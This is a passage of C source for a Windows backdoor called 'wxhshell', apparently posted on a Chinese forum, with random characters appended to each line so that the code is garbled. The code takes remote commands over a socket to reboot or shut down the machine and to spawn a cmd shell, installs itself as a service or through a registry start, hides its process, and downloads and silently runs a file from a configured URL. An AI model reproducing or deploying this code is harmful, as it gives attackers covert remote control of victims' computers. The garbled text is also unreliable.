  else { D <16m<b  
%OIJ.  
    switch(cmd[0]) { 7CK3t/3D  
  B$ Z%_j&  
  // 帮助 z154lY}K  
  case '?': { u{6b>c|,X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t-;zgW5mwF  
    break; iFJ1}0<(x  
  } R/_bk7o]H  
  // 安装 \6{w#HsP8  
  case 'i': { :aIS>6  
    if(Install()) >l0y ss)I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;ewqGDe'3  
    else I)JqaM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nQtp4  
    break; R2e":`0I  
    } *N C9S,eSP  
  // 卸载 ]FQO@ y  
  case 'r': { ]g3RVA%\l  
    if(Uninstall()) 5 $vUdDTg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ce sQ ou  
    else <-]qU}-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JNJ96wnX1  
    break; N<$dbqoT|  
    } FQ3{~05T  
  // 显示 wxhshell 所在路径 |[ )e5Xhd  
  case 'p': { (uxe<'Co|  
    char svExeFile[MAX_PATH]; $ouw *|<  
    strcpy(svExeFile,"\n\r"); uZg[PS=@!X  
      strcat(svExeFile,ExeFile); ~l^Q~W-+  
        send(wsh,svExeFile,strlen(svExeFile),0); mB.j?@Y%  
    break; MXsCm(  
    } mBrH`!  
  // 重启 ~YH'&L.O  
  case 'b': { 3w>S?"W#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kL7n`o  
    if(Boot(REBOOT)) #Ns]l<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6dN W2_  
    else { 6H#4iMeh  
    closesocket(wsh); C'wRF90  
    ExitThread(0); Sb/`a~q ^  
    } fK0VFN8<I  
    break; ZNKopA(=|%  
    } r*r3QsO  
  // 关机 js$L<^7  
  case 'd': { _,ki/7{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xsO "H8  
    if(Boot(SHUTDOWN)) FJ/c(K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2m*g,J?ql  
    else { (\I9eBm  
    closesocket(wsh); pef)c,U$  
    ExitThread(0); _<8~CWo:  
    } <73dXTZ0  
    break; \C&[BQ\  
    } OpNxd]"T  
  // 获取shell DO^ J=e  
  case 's': { GBvgVX<  
    CmdShell(wsh); ROWI.|  
    closesocket(wsh); UA8*8%v  
    ExitThread(0); s2X<b `  
    break; S#:yl>2  
  } TpSv7kT]  
  // 退出 0p31C7!  
  case 'x': { e!B>M{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^E#i5d+'N  
    CloseIt(wsh); . XVW2ISv  
    break; it#,5#Y:  
    } \ ";^nk*  
  // 离开 [wO|P{8\"  
  case 'q': { blk4@pg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +W7#G `>  
    closesocket(wsh); <b,oF]+;z  
    WSACleanup(); =-m"y~{>3  
    exit(1); &*JU N}86  
    break; <y4WG  
        } o?O> pK  
  } C]bre^q  
  } eJvNUBDSH  
 n$u@v(I  
  // 提示信息 Bs!F |x(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qj #C8Tc7  
} z*w.A=r  
  } _X6@.sM/2  
TS Ev^u)3  
  return; j`o_Stbg  
} "8#EA<lsS  
JnY.]:  
// shell模块句柄 KB$S B25m  
int CmdShell(SOCKET sock) 6]^~yby P  
{ QB"Tlw(  
STARTUPINFO si; n90DS/Yx  
ZeroMemory(&si,sizeof(si)); /7CV7=^d,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EW~M,+?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )s~szmJoVD  
PROCESS_INFORMATION ProcessInfo; /n3Qcht  
char cmdline[]="cmd"; u==`]\_@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }I3m8A  
  return 0; ; "K"S[  
} sq45fRAi  
!K%8tr4   
// 自身启动模式 S11ME  
int StartFromService(void) Zn{Y+ce7d  
{ _Oc(K "v  
typedef struct ;ipT0*Y  
{ Q ^{XM  
  DWORD ExitStatus; 7@NV|Idtd  
  DWORD PebBaseAddress; /Pyj|!C3`q  
  DWORD AffinityMask; !zZ3F|+HB  
  DWORD BasePriority; 8t5o&8v  
  ULONG UniqueProcessId; r?$ V;Z  
  ULONG InheritedFromUniqueProcessId; QnTKo&|9  
}   PROCESS_BASIC_INFORMATION; 4Nl3"@<$  
"sUjJ|  
PROCNTQSIP NtQueryInformationProcess; RA$%3L[A!  
c2RQwtN|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xh:A*ZI=7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dI?x&#(vw  
=3dR-3  
  HANDLE             hProcess; *w`_(X f  
  PROCESS_BASIC_INFORMATION pbi; s|[CvjL#0  
w\zNn4B})A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R^?9 V=Y<T  
  if(NULL == hInst ) return 0; hCPyCq]  
R KXhD PA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >n"4M~I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H{et2J<H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B(1WI_}~  
cfC}"As  
  if (!NtQueryInformationProcess) return 0; V)Sw\tS6g  
$z[@DB[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^5n#hSqZ=M  
  if(!hProcess) return 0; PSHzB! H=n  
<f9a%`d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [C`LKA$t  
+:kMYL3  
  CloseHandle(hProcess); Jq*Q;}n  
wA2^ I70-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7ND4Booul  
if(hProcess==NULL) return 0; L-DL)8;`  
^u:bgwP  
HMODULE hMod; _lBHZJ+  
char procName[255]; hlBMRx49  
unsigned long cbNeeded; ,}:}"cl  
*_sSM+S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M)"'Q6ck=  
Nil nS!BM  
  CloseHandle(hProcess); \gFV6 H?`  
3jx/1VV  
if(strstr(procName,"services")) return 1; // 以服务启动 Tvl"KVGm  
7DPxz'7):  
  return 0; // 注册表启动 !<vy!pXg  
} /d*[za'0  
p5aqlYb6r  
// 主模块 $U4[a:  
int StartWxhshell(LPSTR lpCmdLine) &>xz  
{ k![oJ.vHD  
  SOCKET wsl; \OwCZ!`7i  
BOOL val=TRUE; s=>^ 8[0O  
  int port=0; "BZL*hHq  
  struct sockaddr_in door; ENy$sS6[D  
:{s0tw>Z  
  if(wscfg.ws_autoins) Install(); [4r<WvUaM  
sV;q(,oru  
port=atoi(lpCmdLine); GmH`ipi  
5c0$oyl)M  
if(port<=0) port=wscfg.ws_port; 5VSc5*[  
rpUTn!*u/  
  WSADATA data; .aQ8I1~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .#}A/V.-Y  
CI1K:K AM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _`lPLBr6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TF?~vS%@P  
  door.sin_family = AF_INET; ](^FGz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &S39SV  
  door.sin_port = htons(port); I23"DBR3  
~(`&hYE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NQcNY=  
closesocket(wsl); aMJJ|iiU  
return 1; vDIsawbHD  
} QIfP%,LT  
88VI _<  
  if(listen(wsl,2) == INVALID_SOCKET) { T>|Y_3YO_a  
closesocket(wsl); D `av9I  
return 1; L;=3n[^x  
} Ln8r~[tVE<  
  Wxhshell(wsl); ]sI\.a  
  WSACleanup(); \c1>15  
bPIo9clq  
return 0; 9 ^=kt 2[  
(6i4N2  
} .I]EP-  
%<|cWYM="z  
// 以NT服务方式启动 s_3a#I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?CldcxM#  
{ ( 6ucA  
DWORD   status = 0; |-TxX:O-  
  DWORD   specificError = 0xfffffff; |S]T,`7u  
IdCE<Oj\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R[l~E![!j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `neo.]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0J6* U[  
  serviceStatus.dwWin32ExitCode     = 0; n72kJ3u.  
  serviceStatus.dwServiceSpecificExitCode = 0; &7 9F Uac  
  serviceStatus.dwCheckPoint       = 0; >D Ai-`e  
  serviceStatus.dwWaitHint       = 0; ]GDjR'[z  
s@p:XO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {I/t3.R`  
  if (hServiceStatusHandle==0) return; "jf_xZ$H-  
to?={@$]  
status = GetLastError(); 3 bT?4  
  if (status!=NO_ERROR) [ OS& eK 8  
{ T%A"E,#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S0ReT*I  
    serviceStatus.dwCheckPoint       = 0; OVE?;x>n/1  
    serviceStatus.dwWaitHint       = 0; |xT'+~u  
    serviceStatus.dwWin32ExitCode     = status; ?7"v~d]>  
    serviceStatus.dwServiceSpecificExitCode = specificError; w,j;XPp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bAld'z#  
    return; mnx`e>0  
  } ;M"[dy`dY  
rH'|$~a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B>[myx  
  serviceStatus.dwCheckPoint       = 0; ^\r{72!y  
  serviceStatus.dwWaitHint       = 0; ikO9p|J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ANfy+@  
} eh8lPTKil  
Lj/  
// 处理NT服务事件,比如:启动、停止 (C.aQ)|T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fzt7@VNxc  
{ $-.*8*9  
switch(fdwControl) a`zHx3Yg  
{ %r&36d'  
case SERVICE_CONTROL_STOP: 39d$B'"<1  
  serviceStatus.dwWin32ExitCode = 0; 6n;? :./  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4%4Yqx )  
  serviceStatus.dwCheckPoint   = 0; 4y!GFhMh  
  serviceStatus.dwWaitHint     = 0; rxj#  
  { |pBvy1e4)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t^2$ent  
  } :(4q\~  
  return; !r9rTS]  
case SERVICE_CONTROL_PAUSE: ?X Rl\V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !}sF#  
  break; Oc-ia)v1G  
case SERVICE_CONTROL_CONTINUE: T-]UAN"O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZZYtaVF:  
  break; cM\BEh h  
case SERVICE_CONTROL_INTERROGATE: mex@~VK  
  break; P.jy7:dB,  
}; %/BBl$~ji  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 221}xhn5  
} b;nqhO[f}  
P76gJ@#m  
// 标准应用程序主函数 <sX_hIA^Fx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yZ]?-7  
{ [[xnp;-;  
g?K? Fn.}  
// 获取操作系统版本 a-AA$U9hj  
OsIsNt=GetOsVer(); *$3p3-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $M~`)UeV_  
c7R&/JV  
  // 从命令行安装 c=^69>w  
  if(strpbrk(lpCmdLine,"iI")) Install(); BU7QK_zT:  
h)aLq  
  // 下载执行文件 k=G c#SD5_  
if(wscfg.ws_downexe) { Cq3Au%7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f0YBy<a  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7K+eI!m.s  
} m>?|*a,  
N`qGwNT%G  
if(!OsIsNt) { l TVz'ys  
// 如果时win9x,隐藏进程并且设置为注册表启动 D_G]WW8  
HideProc(); a54S,}|  
StartWxhshell(lpCmdLine); na 0Zb  
} "ZA`Lp;%w  
else R^]a<g,  
  if(StartFromService()) P@x@5uC2  
  // 以服务方式启动 {Z1-B60P  
  StartServiceCtrlDispatcher(DispatchTable); %d<UMbS^  
else LR'~:46#u  
  // 普通方式启动 ,Ek6X)|@  
  StartWxhshell(lpCmdLine); d*=qqe H  
#WGyQ u  
return 0; C%j@s|  
}
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只看该作者 1 发表于: 2006-10-10
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